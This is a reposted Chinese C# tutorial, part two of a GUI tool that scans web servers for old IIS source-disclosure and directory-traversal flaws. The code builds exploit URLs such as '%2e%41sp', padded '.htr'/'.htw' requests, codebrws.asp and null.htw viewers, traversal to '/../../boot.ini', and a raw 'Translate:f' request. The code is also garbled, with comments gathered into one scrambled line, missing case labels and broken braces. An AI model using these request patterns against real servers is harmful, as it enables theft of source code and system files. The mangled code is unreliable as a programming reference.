//主要方法 //解析url //求asp文件全名 //解析文件全名 //使按钮、输入框等失效 string strRequestFile ; switch (this.cboMethod.SelectedIndex) case 10: //codebrws.asp case 11: //showcode.asp case 12 : //null.htw case 14 : //qsumrhit.htw case 15 : //query.idq case 16: //search/qfullhit.htw case 17: // search/qsumrhit.htw case 18: //iirturnh.htw case 19: //.htw default: this.barStatus.Text = “发送请求:” string strResult ; this.barStatus.Text += “完成。” ; } } //使按钮、输入款等恢复 // IPAddress and IPEndPoint represent the endpoint that will //Create the Socket for sending data over TCP // Connect to host using IPEndPoint // Sent the GET text to the host // Receive the page, loop until all bytes are received while (bytes > 0) return strRetPage ; //获取http页面函数 try StreamReader sr = new StreamReader(myStream , Encoding.Default); strResult = strBuilder.ToString(); return strResult ; } //退出 if (MessageBox.Show(“真的退出吗?” , “退出系统” , MessageBox.YesNo) == DialogResult.Yes) }
protected void btnGo_Click (object sender, System.EventArgs e)
{
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {.} ; //定义分割符为”.”
char[] line = {/} ; //定义分割符为”.”
string [] arrString = strUrl.Split(line) ;
string strFileName = arrString[arrString.Length – 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length – strFileName.Length) ;
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length – 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length – strLast.Length – 1) ;
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;
if (this.txtServer.Text == “http://” || this.txtFileName.Text == “”
|| this.txtServer.Text.Trim()== “” ||
this.txtServer.Text.Substring(0,7) != “http://”)
{
MessageBox.Show(“请输入正确的主机名和文件名!”) ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = “正在连结主机…” ;
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ “%2e%41sp” ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ “+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%”
+ “20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%”
+ “20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr” ;
break ;
strRequestFile = strServer + “/iissamples/exair/howitworks/codebrws.asp?source=”
+ strUrl ;
break ;
strRequestFile = strServer + “/iissamples/exair/howitworks/codebrws.asp?source=”
+ “/msadc/../../../../boot.ini” ;
break;
strRequestFile = strServer + “/null.htw?CiWebHitsFile=”
+ strUrl + “%20&CiRestriction=none&CiHiliteType=Full” ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + “/iissamples/issamples/oop/qfullhit.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full”;
break ;
strRequestFile = strServer + “/iissamples/issamples/oop/qsumrhit.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full”;
break ;
strRequestFile = strServer + “/query.idq?CiTemplate=/../../boot.ini”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%”
+ “20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx”;
break ;
strRequestFile = strServer + “/iissamples/exair/search/qfullhit.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full”;
break ;
strRequestFile = strServer + “/iissamples/exair/search/qsumrhit.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full”;
break ;
strRequestFile = strServer + “/iishelp/iis/misc/iirturnh.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full”;
break ;
strRequestFile = strServer + strUrl
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%”
+ “20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20”
+ “%20%20%20%20%20%20%20%20%20%20%20.htw?”
+ “CiWebHitsFile=/../../boot.ini&CiRestriction=none”
+ “&CiHiliteType=Full” ;
break ;
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}
+ (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
:strRequestFile)
+ “…”;
//如果不是translate:f方法则可以直接发送http请求
if (this.cboMethod.SelectedIndex != 20)
{
//直接发送http请求
strResult = Get_Http(strRequestFile) ;
strResult = strResult == “” ? “未找到!” : strResult ;
this.txtResult.Text = strResult ;
}
else //translate:f方法需要建立tcp/ip连接
{
string strRequest = “GET ” + strServer + strUrl
+ “\r\nHTTP/1.0\r\nTranslate:f\r\n” ;
strResult = Get_Socket_Request(strServer , strRequest , 80) ;
this.barStatus.Text += “完成。” ;
strResult = strResult == “” ? “未找到!” : strResult ;
this.txtResult.Text = strResult ;
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;
}
//通过同server建立tcp/ip连接,发送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + “Connection: Close\r\n\r\n”;
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length – 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );
if (s.Connect(EPhost) != 0)
{
strRetPage = “Unable to connect to host”;
return strRetPage;
}
s.Send(ByteGet, ByteGet.Length, 0);
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}
}
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+”\r\n”);
}
}
catch(Exception exp)
{
strResult = “错误:” + exp.Message ;
}
protected void mnuExit_Click (object sender, System.EventArgs e)
{
{
this.Close () ;
}
//主函数
public static void Main(string[] args)
{
Application.Run(new Form1());
}
}
}
一个用c#写的扫描asp源码漏洞的应用程序(续)_c#教程
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 一个用c#写的扫描asp源码漏洞的应用程序(续)_c#教程
相关推荐
- 暂无文章
